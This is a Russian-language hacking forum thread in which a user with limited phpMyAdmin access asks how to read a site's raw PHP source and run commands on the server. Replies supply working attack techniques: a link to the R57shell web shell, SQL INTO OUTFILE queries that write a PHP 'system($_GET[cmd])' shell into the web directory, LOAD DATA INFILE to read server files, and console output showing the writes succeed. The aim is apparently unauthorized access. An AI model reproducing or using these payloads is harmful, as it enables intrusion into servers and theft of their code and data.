Просмотр полной версии : MySQL...вопрос на засыпку...
RedBull@12
16.11.2006, 23:39
Здравствуйте...
у меня такой вопорс к экспертам форума...
у меня есть phpMyAdmin...могу зайти в тестовом режиме...и могу выполнять SQL запросы...можно ли сформировать такой запрос чтобы, допустим качнуть файл из директории /home/docs/htdocs/index.php
в его чистом виде...т.е до обработки его сервером.
если да то помогите составить запрос...или как выполнить какую-нибдуь команду...
Заранее спасибо...надеюсь на фашу помощь...
С наилучшими пожеланиями!
nc.STRIEM
17.11.2006, 00:21
заливай шелл и качай че хош!
R57shell (http://striem.narod.ru/r57shell.txt)
Читай статью про MySQL у меня в подписи.
Вкратце:
В phpmyadmin есть функция выполнения произвольного SQL кода. Тебе нужно знать лишь установочную дирректорию сайта. Дальше лазишь по phpmyadmin и находишь таблицу и смотришь колличество ее столбцов. и составляешь запрос по типу
UNION SELECT 1,2,3...кол-во столбцов и в последнем <?php system($_GET[c]);?> FROM имя_таблицы INTO OUTFILE тут_в_одинарных_ковычках_пу ть_к_файлу_куда_писать
НО! данная вещь сработает только если у твоего юзера есть права file_priv
RedBull@12
17.11.2006, 01:02
nc.STRIEM
..наверно очень глупый вопрос,но все же как залить файл на сервак если у меня нету прав админа...у меня есть только строка выполняющая мои SQL запросы...очень плохо шарю в MySQL...
LoFFi
твой способ еще не порбывал не было времени, но всеравно спасибо...
заранее спасибо
nc.STRIEM
17.11.2006, 01:20
UNION SELECT 1,2,3...кол-во столбцов и в последнем <?php system($_GET[c]);?> FROM имя_таблицы INTO OUTFILE тут_в_одинарных_ковычках_пу ть_к_файлу_куда_писать
после этого ты получаеш доступ к cmd! далее можеш поднять ftp на своем компе, это можно сделать при помощи RPC GUI после чего, использую команды cmd залить шел!
Прочитать файл можно и в MySQL.
CREATE TABLE `c` (`t` TEXT);
LOAD DATA INFILE '/home/.../admin.php' INTO TABLE `c`;
SELECT * FROM `c`;
А запись шелла делается проще -
SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/home/.../shell.php';
Безо всяких 1,2,3.. и FROM `table`
RedBull@12
17.11.2006, 10:27
всем большое спасибо...
но мне сервер выдает постоянно ошибку...т.е базы он создает...но не выполняет нужный код
CREATE TABLE `c` (`t` TEXT);
LOAD DATA INFILE '/home/.../admin.php'
INTO TABLE `c`; SELECT * FROM `c`;
т.е. первую и последнию строку он читает а вот второрую нет и от вечает мне
#1045 - Access denied for user ''@'localhost' (using password: NO)
получается он фильтрует данную шнягу,а еще вопрос можно через SQL-запрос поставить пасс на весь аккаунт БД,может он тогда успокоится, или проще забить?
>#1045 - Access denied for user ''@'localhost' (using password: NO)
Запрещена работа с файлами, так что ты ничего не прочитаеш и не сохраниш
>можно через SQL-запрос поставить пасс на весь аккаунт БД
Если у тебя есть доступ к БД mysql то можеш, если полный доступ, то можеш и права на запись поставить, хотя в этом сильно сомневаюсь.
RedBull@12
17.11.2006, 12:16
ладно чуваки большое спасибо за помощь....обидно...
ну ничто долаем=))
...я думаю тема закрыта...
С наилучшими пожеланиями!
LoFFi, готов поспорить))
H:\>mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2 to server version: 4.1.12a-max
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> select '<? shellcode ?>' into outfile 'h:\shell.php';
Query OK, 1 row affected (0.03 sec)
mysql> quit
Bye
H:\>type shell.php
<? shellcode ?>
H:\>
т.е. первую и последнию строку он читает а вот второрую нет и от вечает мне
Код:
#1045 - Access denied for user ''@'localhost' (using password: NO)
получается он фильтрует данную шнягу,а еще вопрос можно через SQL-запрос поставить пасс на весь аккаунт БД,может он тогда успокоится, или проще забить?
прав нет на чтение файлов
в консоли под рутом то выполнеться, а вот в инжекте нет.
Он сказал, что у него phpMyAdmin. Там выполнить это не вопрос.
Вот не под рутом:
mysql> select user();
+-----------------+
| user() |
+-----------------+
| great@localhost |
+-----------------+
1 row in set (0.02 sec)
mysql> select '<? phpinfo(); ?>' into outfile 'h:\a.php';
Query OK, 1 row affected (0.00 sec)
mysql> quit;
Bye
H:\>type a.php
<? phpinfo(); ?>
Насчет того, что select не выполнится без from - кому курить мануал еще вопрос.... ;)
RedBull@12
18.11.2006, 02:43
я смотрю у вас такой спор:)...
так что можно про это все забыть?
а и еще один вопросик...можно ли что-то вытащить из phpinfo.php файла?
заранее спасибо.
P.S.: Извиняюсь за может быть глупые вопросы...новичек в MySQL+php
можно ли что-то вытащить из phpinfo.php файла?
phpinfo() выдает инфу о конфигурации сервера, Apache и PHP
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot